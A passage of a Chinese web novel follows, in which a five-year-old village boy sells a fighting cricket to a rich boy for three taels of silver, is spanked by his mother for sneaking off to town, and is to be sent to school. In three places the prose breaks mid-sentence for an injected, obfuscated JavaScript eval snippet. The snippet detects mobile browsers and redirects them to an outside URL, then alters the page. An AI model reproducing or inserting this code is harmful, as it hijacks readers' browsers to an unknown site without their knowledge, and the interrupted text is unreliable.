少爷为之气结，双手环胸，等待自家神威大将军大杀四方，到时候有这小孩哭的时候。 顾丰年年纪小没眼色，牛长栋却不同，他一眼就瞧见那辆宽敞的马车，小少爷穿戴富贵，还挂着玉佩，身边跟着书童，一看就不是普通人。 牛长栋怕小孩儿得罪人，轻轻扯了扯他的衣袖。 顾丰年头也不回：“长栋哥快看，打起来了。” 牛长栋拉都拉不住，两颗脑袋已经凑到一起，各自呐喊助威。 少爷信心满满，谁知道战争刚刚开始，结果已经骤然分明。 一只蛐蛐振翅嘶鸣，气势汹汹，快得如同青色闪电，没等围观群众反应过来，它已经扑上去咬住神威大将军的右腿。 经验丰富的神威大将军还没反应过来，竟然就被咬住。 “啊——”狠辣精准的动作，让孩子们纷纷惊呼。 神威大将军吃痛，猛烈挣扎起来，谁知还没等它反扑，咔嚓一声，大腿竟然被齐根撕扯下来。 神威大将军哪里还有方才的威风，踉跄逃窜，发出痛苦嘶鸣。 众人都看呆了。 “哇，这才是大将军，它好厉害。” “哈哈哈，他带来的蛐蛐好菜，居然还敢自称神威大将军。” “他是来搞笑的吧，白白送上门挨打。” 顾丰年第一个回过神，欢欣鼓舞大叫起来：“大将军加油，把其他蛐蛐都干趴下。” 似乎是回应主人的加油声，咬断神威大将军右腿的蛐蛐掉转身，朝着下一只蛐蛐冲过去，很有几分遇佛杀佛遇神杀神的气势。 少爷不敢置信，面如死灰，整张脸都僵住了，嘴唇哆嗦着说不出一个字来。 这可是他花费无数心血养大的神威大将军，当初买的时候就花了足足十两银子！ 就在他愣神的功夫，另一只蛐蛐大杀四方，剩下的蛐蛐跑的跑，飞的飞，被逮住就是一阵撕咬，没一只齐整的。 多亏顾丰年眼疾手快，也没让蛐蛐跑得到处都是，每次飞出来，他都能精准的丢回去。 蓦的，少爷眼中冒出光来：“你这只蛐蛐卖不卖？” 神威大将军毁了，可能一口干掉神威大将军的蛐蛐，必定要收入囊中！ 顾丰年正看得起劲，猛地听见这话，不敢置信的抬头：“你要买？” 他有些犹豫的问：“你有钱吗？” 虽然孩子们看得热闹，但顾丰年还记得，小孩儿是没有钱的，只能白看。 少爷脸一黑，冷哼：“当然有，小爷我有的是钱。说吧，你要多少钱才肯把它卖给我？” 天降惊喜，顾丰年绽放出大大的笑容：“这个数！” 他伸出三根手指。 原本想要十文钱的，但刚才已经降过价，周围的人都听见了，顾丰年很有诚信，没坐地起价。 只要三文钱！ 小少爷一看，毫不犹豫的点头：“行，就三两银子。” “不是三两银子，是三文钱。”顾丰年眨巴眨巴眼睛，解释道。 牛长栋在旁边急得不行，连声道：“就三两银子。” 还扯了扯顾丰年：“你傻啊，他一看就有钱，三两银子足够你家还清所有外债了。” 顾丰年纠结的拧起眉头，低声道：“可是不能骗人，一开始是十文钱一只蛐蛐，后来我降价只要三文钱，不能因为他有钱就多要啊。” 牛长栋无奈，心想顾小六平时看着多实诚，今天怎么傻乎乎的。 三两银子，足够顾家渡过难关了。 “算了，你说多少就多少吧。”牛长栋不管了。 顾丰年就转头解释：“大哥哥，不是三两银子，是三文钱，刚才三文钱他们都不要呢。” 小少爷嘴角微微一抽，大声道：“三文钱怎么配得上大将军，三两就三两，青竹给钱。” 书童青竹苦了脸：“少爷，这小孩说了三文钱，咱何必充当冤大头？” 小少爷不高兴了：“让你给钱就给钱，费什么话，少爷我差这三两银子吗？” 他刚才已经听见了，小孩儿家里欠着外债，指不定吃糠喝稀，连鸡蛋都吃不上。 怪不得长得那么矮，那么痩，也就脸上有点肉，长得倒是不错，白嫩嫩讨人喜欢。 小少爷不缺钱，这会儿难得大发善心。 “再说了，我养的蛐蛐才值三文钱，回头出去你让我怎么见人，快给。” 青竹只得掏出银子来：“便宜你们了。” 顾丰年盯着银子，两只眼都冒出星光来。 他迅速蹲下，快狠准抓住大将军，正打算塞进小笼子里却被制止。 “等等，那么丑的笼子怎么配得上我的大将军，放我这儿。”小少爷拿出自己的金属笼。 顾丰年心想，他那些草笼子可不丑，哥哥们手艺好着呢。 但给钱就是大爷，他没反驳，将大将军塞进去。 “你动作小点啊，别弄伤我的大将军。” “轻点轻点，别这么蛮力。” “现在这就是我的了，你别捏。” 顾丰年眉头打结，心想蛐蛐哪有这么娇气，平时他玩十天半月都不带死的。 小少爷却跟得了宝贝似得装好，这才抬头看了他一眼：“蛐蛐我带走了，以后再抓到这样好的，你尽管送来。” “你还要吗？”顾丰年惊讶。 小少爷点头：“普通的不要，要这般威猛的才行，若有就送到东街吴家。” 说完这话，他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388004|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不看丢了一条腿的神威大将军，提着新宠就上车。 青竹偷偷瞪了眼骗走三两银子的俩孩子，也跟着离开了。 人一走，顾丰年欢喜的蹦起来：“长栋哥，我赚到钱了，你看，沉甸甸的银子。” 他没想着以后，只知道自己挣钱了，能买肉，能给爹买药。 还在心底得意洋洋：【小九你瞧见没，我能挣钱啦，以后我来挣钱养家】 对此，009只想骂一句狗屎运。 也是，小家伙运气不好的话，怎么能绑定它这根又大又粗的金手指。 “嘘嘘嘘，别嚷嚷。” 牛长栋握住他的嘴，赶紧接过银子塞进小孩儿裤腰带：“财不露白，被人看见会抢走的。” “哦哦哦，那快藏起来。”顾丰年连连点头。 结果俩小孩一抬头，前面围着一圈孩子呢。 这时候，羊角辫男孩扭扭捏捏的开头：“你的蛐蛐好生厉害，我也想要，可是我没有钱。我可以用这个换吗？” 他摊开手，是一颗松子糖。 顾丰年觉得松子糖应该不值三文钱，但他想吃。 舔了舔嘴角，顾丰年点头：“可以，你要哪一只自己挑。” “这只，刚才我看好了，除了大将军就它最厉害。”羊角辫早就看好了。 顾丰年利索抓住，塞进小笼子递出去。 有羊角辫开头，围着的小孩儿纷纷开口：“我也没有钱，我用饴糖换可以吗？” “我有蜜饯，让我先挑。” “可以用饼子换吗，我只咬了一口。” “这是我家的菱角，我可以给你一大碗。” 顾丰年秉着来都来了的想法，纷纷点头：“可以，先到先得，谁先选。” 小孩儿们顿时兴奋起来，县城的孩子手头没钱，但零食总是不缺的，再不济自家种的菱角豆子芋头总有，偷偷拿一些就能换蛐蛐玩。 虽然蛐蛐可以自己抓，但经历刚才的事情，他们都觉得眼前的蛐蛐更厉害。 一会儿功夫，顾丰年就换来许多小零嘴，背篓都要装满了。 “只剩下一只了。” 顾丰年捏起地上的那一只，断了右腿，是小少爷带来的神威大将军。 神威大将军凄惨兮兮，原本装它的笼子都被新宠占了，主人走的时候都没多看它一眼。 “你们谁要？” 小孩儿们纷纷摇头：“不要这只，这只太没用了。” “腿都没了，我也不要。” “走走走。” 见没了热闹，小孩儿们又呼啦啦散了。 牛长栋怕他们身上有银子被人瞧见，到时候生事，连声催促：“把它丢了，咱们赶紧走吧。” 顾丰年没舍得丢，塞进剩下的那个小笼子里。 牛长栋替他背起变得沉甸甸的竹篓，奇怪的问：“腿都断了，肯定活不了多久，你还带着干嘛？” 顾丰年却说：“县城里头都没有草，丢在那边它没有吃食，还是带出城再丢吧。” 牛长栋没反对。 两人急急忙忙往大树下跑，准备跟牛学文回合，哪知道刚跑几步，顾丰年脸色大变。 牛学文站在牛车旁，正使劲朝着他们使眼色。 牛长栋跑得快没刹住车，看见多出来的那个人也变了脸色，讷讷开口：“顾婶子。” 顾丰年一张笑脸皱成一团，讨好的喊：“娘~” 15.第 15 章 王氏脸色漆黑，狠狠瞪了幺儿一眼：“你给我过来。” 转身又跟老牛头道歉：“孩子胡闹，给你们添麻烦了。” 牛老头这才意识到，这几个孩子是自己跑出来的，连忙说：“没事就好，小六多乖，一点都不闹。” 顾丰年正想把银子拿出来，却发现自己动都不能动。 王氏死死将他抱在怀中，力道极大，身体还在微微发颤。 顾丰年心底忽然冒出一股愧疚来，意识到自己可能做错事情了。 “娘，你怎么了？”顾丰年想仰头看看，却又被按下去。 王氏心酸无比，要不是他们当父母的没用，家里困难，才五岁的幺儿怎么会心心念念惦记着挣钱，还跑到镇上来。 幸好幺儿没事，不然她一辈子都过不去这道坎。 摸了摸怀中荷包，王氏再也不可惜那一身嫁衣，只觉得卖得太晚。 “回去再跟你算账。”王氏教训道，却还是抱着幺儿不放手。 顾丰年缩了缩脖子，朝身旁的人投去求救的眼神。 牛长栋在看见王氏出现的时候就知道大事不妙，事情暴露，这会儿也不敢吱声。 牛学文平时很少在村里走动，虽认识王氏，但不像牛长栋那么害怕。 迎着小孩儿求救的眼神，他立刻挺直腰背：“婶子，你别怪丰年，是我想来县城买纸笔，哄着他们陪我一道儿来的。” 王氏听了有些意外。 毕竟之前顾丰年天天往学堂跑，常听他提起学堂里的孩子。 王氏知道，自家幺儿跟地主家大孙子不对付，经常被针对，不过小打小闹他们大人都不管。 “学文，你是个好孩子，今日多谢你陪着，往后丰年再敢缠着你胡闹，你只管来找婶子。”王氏温柔的笑着说话。 牛学文扔给顾丰年一个爱莫能助的眼神。 等瞧见村口大柳树，王氏就抱着孩子下了车：“时辰不早了，你们也快些回家吧，不然家里会担心。” 牛长栋怕小孩儿回家挨打，开口道：“婶子，带丰年去县城是我的主意，回去你别打他。” “快回家吧。”王氏笑了笑，但没答应。 说完也不等他们再求情，拉着幺儿就往家里头走。 牛学文嘀咕道：“丰年他娘瞧着温温柔柔的，应该不会打他吧？” “那你可太不了解顾婶子了，她——”年轻时候可是打遍村子无敌手，这几年娶了媳妇才收敛一些，牛长栋可还记得。 “不过应该没事，顾叔顾婶都疼丰年，就算打他也不会打很重。”牛长栋心想，反正乡下孩子挨打太正常不过。 牛学文却不习惯，拧眉说：“回家还要挨打，还不如去我家当书童。” “你怎么还惦记这个，快死了这条心吧。” 正说着，忽然一阵哒哒哒脚步声，顾丰年迈着两条小短腿跑过来。 “长栋哥，学文哥，咱们还没分钱呢。”顾丰年从怀里掏出银子。 牛学文立刻摆手：“那是你自己赚的，我不要。” “是啊，我哪能要你的钱，赶紧跟你娘回家吧。”王氏就在不远处等着。 顾丰年却很坚持：“不行，咱们说好的，你们带我去县城，等赚了钱我就分你们。” 他说着，把银子往嘴巴里一塞，咬下一块来。 “给！”顾丰年吐出来，硬塞进牛长栋手中。 他自己又开始咬第二口。 牛学文赶紧阻止：“别用嘴咬啊，多脏。” 可惜提醒的太晚，顾丰年用力一咬，哪知道原装嫩牙扛不住铜臭味，咯噔一下，门牙直接掉了下来。 顾丰年连忙吐出来，等看清楚手掌心的白牙，小孩儿整个人都惊呆了。 “啊啊啊，你流血了。”牛学文惊恐的叫道。 牛长栋也慌了：“怎么办，你牙掉了。” “娘，我牙掉了！”顾丰年欲哭无泪。 王氏察觉不对劲过来一看，哭笑不得，拿着帕子帮他擦了擦嘴角：“记住教训，以后别用牙咬。” 说完看到那颗还沾着血的银子，愣了愣。 方才顾丰年说赚了钱要分，她只以为是十个八个铜板，蛐蛐能卖出去已经十分难得。 谁知竟然有这么大块银子，瞧着得有二三两！ 王氏心底惊疑不定，打算回家好好盘问。 顾丰年已经掰下一小块：“学文哥，这是你的。” “你快别说话了，一说话就流血，赶紧回家去。”牛学文看着他这幅样子，鸡皮疙瘩都起来了。 “谢谢学文哥带我去县城，那我先回家啦。”顾丰年很有礼貌的摆了摆小爪子。 母子俩手拉着手离开，丢下两个男孩面面相觑。 牛长栋看着手掌心里沾着口水的银子，面露无奈。 牛学文手心那颗更寒碜，不但有口水，还有血水，他嫌弃的拿帕子包住。 另一头，王氏还没从看见银子的震惊中缓过劲。 顾丰年已经把见到亲娘的心虚害怕忘了，蹦蹦跳跳的走路，口中一直问：“娘，门牙掉了还能吃肉吗？” “娘，咱家今天是要吃肉吧，昨天你答应我的。” “爹爹能吃肉了吗，我的那份也给爹爹吃，让他快些好起来。” 镇上看见幺儿的时候，王氏心酸气恼，可这会儿听着小孩儿嘀嘀咕咕的话，再看他缺了的门牙，一颗心都软的不成样子。 罢了，她下不了手，还是回家让男人教训吧。 王氏弯腰抱起孩子：“回家再说。” “娘，我可以自己走。”顾丰年晃了晃脚丫子。 王氏没把他放下来：“先回家。” 还没到门口，王氏就听见儿媳妇扯着嗓门喊人的声音。 “娘，您回来了。” 牛氏瞧见母子俩回来松了口气：“丰年一直不见人影，我还以为去哪儿了，原来是去村口等娘了。” 王氏冷哼：“他可没去村口等我，直接跑到县城去了。” “什么？”牛氏惊叫。 王氏直接抱着孩子进了屋，瞧见这个点赵氏还在屋子里躺着，忍不住骂了一句：“你们妯娌两个在家，连孩子都看不住，人跑到天边都不知道。” 幸亏孩子没事，万一出点什么事情，王氏可就不是教训几句这么轻松。 赵氏磨磨蹭蹭从屋里头出来，口中解释：“娘，村里孩子不都到处瞎跑，我哪儿知道丰年胆子这么大。” 王氏冷哼一声：“都给我进来。” 牛氏赵氏见她脸色不好，不敢吱声，乖乖跟着走进屋。 顾丰年更是摆出一副乖乖小孩模样，抿着嘴不说话。 顾老爹躺了一早上，今天精神头好了许多，听见动静就问起来。 “这是怎么了？事情办得不顺利吗？” 顾老爹见她早晨带出去的包袱没了，心想难道是嫁衣没卖出好价格，所以王氏才垮着脸不高兴。 王氏柳眉一竖：“给我跪下。” 这孩子胆子太大，敢瞒着家里做这事，今日不好好教训让他长记性，以后还得了？ 王氏下定决心，今天定是要给幺儿一个教训。 噗通一声，赵氏心虚的跪下来：“娘，我真没偷懒，就是在屋里头眯了一会儿。” 王氏都懒得看她：“顾丰年！” 顾丰年这才意识到，娘是喊他跪下。 小孩儿利落的跑上前，噗通一声跪下来，还磕了三个头。 顾老爹忙道：“你这是干什么，孩子做错事也得好好说，干啥子动不动就人跪下，男儿膝下有黄金。” “不但有黄金还有银子，瞧瞧，这是你儿子去县城赚来的血汗钱。” 王氏拉出小孩儿手，露出那颗沾着血的银子来。 “哪儿来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394936|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的银子？”顾老爹惊呼。 赵氏见不是骂自己，偷偷摸摸又爬起来，正准备溜出去，看见银子也不动了。 牛氏听出不对，惊讶的问：“娘，你是说丰年自己去了县城，还赚来这么多银子？” 顾老爹也是满脸惊讶：“这怎么可能？” 王氏看向顾丰年：“你自己交代清楚。” “先起来，坐着慢慢说。”顾老爹舍不得幺儿吃苦。 顾丰年瞧了眼娘，见她没反对才磨磨蹭蹭爬起来，从昨天抓蛐蛐开始说起。 “挑重点。”王氏见他恨不得从蛐蛐出生开始说，轻咳一声提醒。 顾丰年赶紧跳过，一五一十交代一遍。 “就是这样，那位小少爷瞧上了我的大将军，我说三文钱，他说三文钱配不上大将军的身价。” 顾丰年说完，一屋子人都安静下来，不敢置信。 牛氏恍恍惚惚，她男人在码头上扛大包，辛辛苦苦一天都只有十文钱，小叔子去了一趟镇上，拿随处可见的蛐蛐就换了三两银子？ 赵氏更是瞪大眼睛，恨不得把银子抢走。 顾老爹却皱了眉头，银子是其次，幺儿擅自去县城，都没跟家里打声招呼，虽说有牛家那俩个小子陪着，可那也只是两个孩子。 偏偏顾丰年还以为事情过去了，仰着头说：“爹，银子可以还债，还可以买肉吃，以后我来养你。” 顾老爹一颗心又软又疼，恨不得将幺儿抱在怀中好好亲香。 但是不行。 他意识到其中危险，若是纵容了，丰年以后还会背着大人这么干。 顾老爹沉下脸教训：“丰年，你可知道你们都是小孩儿，万一路上有点闪失怎么办？” “爹娘生你养你，你若为了这块银子有闪失，可想过爹娘会如何悲痛？” 光是那三两银子看着就让人后怕，大户人家的老爷少爷，哪一个是好说话的。 今日运气好遇上个好少爷，若是运气差遇上个不讲理的，挨一顿打都是小事，重则丢了小命。 顾丰年眼珠子一转：“爹，可是我好好的，没有闪失。” 赵氏找准机会开口：“是啊是啊，爹娘，丰年可太有出息了，谁家五岁小孩儿能挣钱，挣的还是银子，有了这银子咱家——” “你给我闭嘴。”王氏冷声呵斥。 牛氏赶紧把赵氏拽回去：“瞎说什么，这是银子的事情吗，爹娘是怕丰年出意外。” “丰年，咱们村离县城远，万一路上出点什么事情，爹娘还不得伤心，再说了，县城年年都丢孩子，你这么小，长得又俊，万一拍花子盯上可怎么办，到时候被人拐走一卖这辈子都见不到爹娘。” 顾丰年顺着大嫂的话想，小脸也变白了，手指头绞着衣角。 他抬头看向脸色阴沉的爹娘，老实认错：“爹，娘，是小六不对，我知道错了，下次出门我会告诉你们的。” “还有下次！”王氏气急。 她觉得这孩子胆太大了，完全不知道错在哪里，一点都不知道怕。 王氏呵斥：“娘说了多少回，家里头事情不要你操心，你怎么就不听话，娘不带你去县城，你就哄牛家小子带，好大的本事。” “娘昨日已经说了，不许你去县城，你为何不听话，出门之前连个口信都不留，可想过家里大人会担心？再迟一些回来，你大嫂也得急得满村找。” “这次侥幸没事，可下次呢？万一你有个三长两短，那你就是要了爹娘的命，做这些事情之前，你可想过爹娘，想过家人？” 顾丰年将王氏急得掉眼泪，终于有些慌神，赶紧老老实实摇头。 出发前满脑子挣钱的小孩儿，哪能想的那么周全。 “今日不给你长长记性，往后你还敢。”王氏见他还敢摇头，更生气，一把捞过孩子扒下裤子。 顾家顿时传出小孩儿嚎哭的声音。 16.第 16 章 顾丰年出身体弱，顾家夫妻千万个仔细才养大，从小到大都没舍得动过他一根手指。 再者孩子也乖，不像顾丰收上山下海的，偶尔王氏受不住脾气还要打一下。 今日挨打，实在是开天辟地第一回。 王氏一巴掌落下，顾丰年才意识到自己被打了，哇的一声大哭起来。 他一哭，顾老爹就心疼，连忙喊：“你教训几句就成了，怎么还真动手了。” 牛氏也舍不得，连声劝道：“娘，我看丰年已经知错了，快别打了。” 赵氏不敢劝，嘀咕说：“丰年那身板扛不住打，可别把人打坏了，打坏了还得吃药。” 王氏气急，合着一家子全是好人，就她是恶人。 方才她还想着让男人动手，谁知道自己没忍住，又抡起一巴掌：“以后还敢吗？” 顾丰年只觉得屁股火辣辣，只知道哭，抽抽噎噎的喊：“我再也不敢了。” 王氏巴掌举得高高的，落下来只听见声音，其实压根没啥力度。 只打了两下，她自己也打不下去了：“再有下次可就不是打屁股这么简单。” 哪知这当头，顾丰收火急火燎的冲进来，瞧见母子俩这姿势就不干了。 顾丰收一把扑在弟弟身上，口中喊着：“娘，你要打就打我，别打弟弟。” “五姐。”顾丰年哭得更惨了。 他五姐扑上来，直接压到方才被打的地方，好疼。 五姐好重，他都被压得喘不过气来。 顾丰收还不知道，搂着弟弟瞎喊：“是我给弟弟抓的蛐蛐，怪我，娘你打我吧。” 王氏原本在气头上，打了两下已经舍不得，这会儿瞧见女儿这幅架势哭笑不得。 她伸手把人扯开：“赶紧起来，人没被打坏，倒是被你压扁了。” 顾丰收这才起身，看见弟弟的惨状讪讪。 顾丰年吸了吸鼻子，觉得自己太惨了。 可惜平日里温声细语的亲娘没安慰，反倒又是轻拍了一下：“记住这个教训了吗？” “记住了。”顾丰年抽抽噎噎，哭得鼻涕邋遢的。 牛氏憋着笑，拉着小叔子出去收拾，给他擦了脸，拉开裤子检查见只是红，压根没肿，就知道婆婆压根没舍得下狠手。 “爹娘也是为了你好，往后要是想去县城，你就跟大嫂说，回头等你哥有空带你去，千万别一个人跑去，记住了吗？” “记住了。”顾丰年觉得老委屈，他也想让爹娘哥哥们带，可大家都没空。 牛氏刚走，顾丰收又跑过来：“小六，让我看看伤口。” 说完就直接动手。 顾丰年觉得屁股凉飕飕的，不太乐意：“五姐，你别看。” “我看一眼怎么了，娘能看大嫂能看，为啥我不能看，咱俩在一个娘肚子里待了十个月，我早就看遍了。” 顾丰收很霸道，直接镇压弟弟的微弱反抗。 顾丰年扯着裤腰带，欲哭无泪，觉得这比挨打还痛苦。 “你傻啊居然不跑，下次有点眼色，娘一抬手你就跑，你跑了娘就打不到，过一会儿自然就消气了，别傻乎乎的趴着挨打。”顾丰收作为过来人传授经验。 屋里头，顾老爹还在说：“你怎么就动手了，丰年细皮嫩肉的，可不像前头四个混小子皮糙肉厚耐打，可别把他打坏了。” 王氏翻了个白眼：“就你心疼儿子，我不心疼啊，我这不是怕他胆儿太大，不教训以后无法无天。” 顾老爹一想也是，五岁大的孩子，居然有这般大本事。 “这孩子脑子灵活，比他那几个哥哥都强。”顾老爹十分偏心。 “五岁的孩子，一出手就是三两银子，虽有运气的成分在，但十里八乡哪个孩子能有他这般机灵。” 王氏心底也这样想，但还是说：“就是因为他脑子聪明，所以更应该好好管教，否则以后大了，咱想管也管不住了。” 顾老爹不知想到什么，流露出几分伤怀：“是该早些送他读书的，读了书就没这些事。” 王氏顿了顿，拿出银子：“如今送也不迟。” “嫁衣卖了？” “成衣铺说料子好，保存的也好，愿意给五两银子。” 顾老爹不禁皱眉：“才五两？光是珠子都不止。” 王氏叹气：“到底是放了那么多年，成衣铺已经很地道了，当铺只肯给二两银子，还要死当，倒不如直接卖了。” 她将银子拿出来，其中一半是铜板：“待会儿我去把钱还上，无债一身轻，等你身体好一些再送丰年去学堂拜师。” 顾老爹却说：“明日就去，让老大送。” “会不会太急了一些？”王氏犹豫。 顾老爹摇了摇头：“已经拖了太久，合该一开始就送，我们俩想东想西考虑的太多，反倒是耽误工夫。” 王氏点了点头答应了。 又说：“丰年挣了钱也好，虽说我们俩拿出银子供他读书，老大几个也不会反对，但儿媳妇总会有自己的心思，大山几个不比丰年小多少，咱送了丰年没送大山小山，老大媳妇心底也会不高兴。” 儿子多，这种时候得考虑的就多，王氏自己偏爱幺儿，但也知道明面上不能太偏心，否则反倒是坏了兄弟几个情分。 正因为如此，夫妻俩之前才没下定决心送孩子读书。 “如今他自己挣了钱，对外就说拿这个当了束脩，他们也无话可说。” 顾老爹心底也觉得这样好：“老大几个要敢不答应，等我好了收拾他们。” 提到身体，王氏心底还有些担心，毕竟按照大夫的话，顾老爹身体是好不全的。 她没敢显露，打开篮子：“差点把这肉忘了，我拿到厨房去做，正好你也能吃一些补补身体。” “去吧。”顾老爹没注意她的神色。 王氏提着肉进了厨房，牛氏赵氏正在忙活，一看到牛肉都惊讶起来。 “我卖了些东西，待会儿就会把欠债还了，老大家的，你把牛肉炖了，要软烂一些，这样你爹好下口，多加点芋头一起炖，大家伙儿都能尝尝味道。” “好，我这就炖上。”牛氏连忙接过去。 等婆婆离开，赵氏忍不住嘀咕：“大嫂，看来爹娘还藏着不少好东西，以前怎么从来没提过。” “爹娘愿意说就说，不愿意就不说，没有惦记老人家私房的。”牛氏不跟她嘀咕。 赵氏撇了撇嘴，暗道大嫂就会装模作样，哼，他们是老大，往后爹娘肯定跟着他们养老，家底都是老大家的，自然是不着急。 她眼珠子一转，打算等男人回家好好说说，爹娘的东西，他们二房也该有一份，可不能全便宜了大哥大嫂。 王氏并不在意儿媳妇的小心思，只要能镇得住儿子，儿媳妇就掀不起风浪来。 她转身拿了铜板出门，果然先把银钱一一还上，除了铜板，还顺带一把家里的菜当做利息。 王氏场面话说的动听，事情也做的漂亮，一时间村里都觉得顾家人有信义，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399161|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知恩图报。 牛村长接了钱，又宽慰了几句王氏，转身就对家人说：“看吧，顾家还是有些家底的。” 想到牛长栋回家说的话，带回来的碎银子，牛村长心想那孩子实在聪明，也许以后是个人物。 当天晚上，顾家果然飘起了肉香味。 牛氏见牛肉够多，除了芋头还特意加了菜一起炖，炖得软软烂烂一锅出，闻着就让人胃口大开。 照旧先给顾老爹留出满满一碗，剩下的才是其他人的。 顾丰年小心翼翼的坐在凳子上，时不时挪一下屁股。 王氏打得不重，但小孩儿皮肉太嫩，总觉得不自在，坐着浑身不舒坦。 偏偏哥哥们回到家，听说了今天的事情就纷纷开口打趣。 顾满山大声笑道：“小六，是不是屁股还疼？不如你站着吃？” 顾满月也笑：“站着吃多累，小六坐我腿上，我腿上都是肉，软乎，坐着肯定不疼。” 其他人也纷纷憋着笑，一副看好戏的架势。 顾丰年鼓起脸颊：“我才不疼，一点都不疼。” “真的不疼？” 顾惊蛰更过分，直接伸手拉开他裤子看：“让我看看肿起来没有。” “让我也看看。”顾立秋也探过头。 “我也要看我也要看。” 这可好，几个侄子纷纷伸出脑袋，简直把顾丰年当做观光点。 顾丰年气得直跳脚，奈何双拳难敌四手，最后气呼呼的捧着晚饭蹲在门口吃，不肯跟笑话自己的哥哥们同桌。 偏偏这时候路过个婶子，张嘴就打趣：“顾小六，今天淘气挨打了是不是，大老远就听见你扯着嗓门哭。” 顾丰年恨不得将脑袋埋进饭碗里。 殊不知他越是害羞，看笑话的人越是来劲，打趣起来没完没了。 最后还是顾立秋有良心，憋着笑将人拉回去：“好了，我们不笑话你了。” “真的？”顾丰年不是很相信。 顾立秋掐住自己大腿才没笑出声，继续安抚：“其实我们小时候经常挨打，你大哥最调皮，娘有一次揍他竹竿儿都打断了，愣是啥事儿都没有。” “你还有脸说我，那次你爬树掉下来，娘抡着扫把追了你满村。” “二哥皮最厚，娘打得都累了，他屁股都没红。” “嘿，你这个老三，你皮不厚，娘手都疼了你也不哭。” 兄弟几个互相扯出糗事来，顾丰年一下子不害羞了，原来大家都挨打，不光光是他一个人。 顾丰年小大人似得叹气：“哎，谁让我们是亲兄弟呢，一样一样的。” “哈——咳咳咳。”顾家兄弟好悬忍住，没放声大笑起来。 王氏伺候着顾老爹吃完饭，等收拾停当了，这才出门喊：“你们几个都进来，我们有话说。” 顾老大几个还以为要说今天的事。 “娘，打过一次就算了，小六身体弱，打重了可受不了。”顾满山开口求情。 “是啊是啊，教训过就算了，我看小六已经知错了。” “谁家孩子出门能挣钱，咱家小六这般厉害，别再打他了。” “娘，要是你还生气，要不打我几下出出气，反正我皮糙肉厚。” “停，不是为这个。” 王氏看了眼顾老爹，后者靠在床头。 顾老爹没兜圈子，直接开口：“我们要送小六读书。” “读书？” 顾家兄弟惊呼，都愣住了。 17.第 17 章 顾老爹说出这句话，眼光看向四个儿子，等待着他们的反应。 读书两个字，果然让四个儿子都愣住。 顾满山作为老大，第一个开口：“爹，小六自小体弱，人又聪明，是该读书识字，将来若能在城里头当个掌柜也好，总比在地里头刨食强。” 他真心为弟弟考虑，觉得以顾丰年的身子骨，真种地养活自己都难，更别提养活妻儿老小。 顾老爹摇了摇头：“不是送去认几个字，而是长久的读下去，最好能考中功名。” 这话让顾满山皱了眉头。 他犹豫道：“爹，咱乡下人家能读书识字已经不错，十里八乡的也没见谁能考中功名。” 读书识字，读书考功名，这其中花销可是天差地别。 顾满月也觉得奇怪，怎么爹娘这时候提。 “爹，娘，若是小六有天赋能读下去，我们自然也会支持。” 顾惊蛰顾立秋也纷纷点头。 见儿子们都答应，并未有人露出不满，顾老爹继续道：“小六定是有天赋的，他天生就是读书的料，将来定能高中。” 顾满山兄弟无奈，纷纷沉默下来，觉得老爹未免异想天开。 就牛地主家有钱有地，能养着牛学文一直读下去，可家里也不敢说一定能高中。 他爹倒好，弟弟还没去读书，就已经想的那么长远，回头传出去岂不是让人笑话。 即使如此，他们也不好反驳，只能闷不吭声。 顾老爹心知他们现在不会信，但幺儿是被文曲星选中的人，别说童生秀才，将来连状元都能想。 “丰年运气好，带去的蛐蛐卖了三两银子，就先用这钱交束脩，等他上了学，你们便会知道他天生是这块料。” 顾满山点头，忽然想到什么，从怀里掏出一串铜钱：“娘，这是今日的工钱，您收着。” 因未分家，家里的钱都是王氏在管。 王氏照旧数了数，又还给老大老二每人三文钱：“还是按照以前来，你们俩的娘就留着，回头好娶媳妇。” 自打儿子成家，王氏就会给小家留一些，免得夫妻俩不称手。 “等家里宽裕了，之前你们拿出来的钱也还你们。”顾老爹开口道。 顾满山忙摇头：“爹，一家人何必说两家话，要是儿子生病吃药花钱，二老难道会要让我还钱不成，儿子给你出钱看病天经地义，您可千万别寒碜我。” 顾满月也连连点头，十分支持大哥的话。 顾家夫妻眼神都柔和下来，心想儿子没白养，对他们有一份孝心。 老三老四也没意见，纷纷表示不要那个钱。 “娘当了以前的嫁衣，家里外债都还清了，日子也不会太艰难，只是你们爹如今身体还得养着，还得靠你们挣钱养家。”王氏开口解释。 “这是应当的，爹，你只管好好休息，家里还有我们。” 顾满山拍着胸脯保证。 顾立秋更是愧疚，懊恼因为自己冲动害爹受伤，临了还要当了娘的嫁衣来填补亏空。 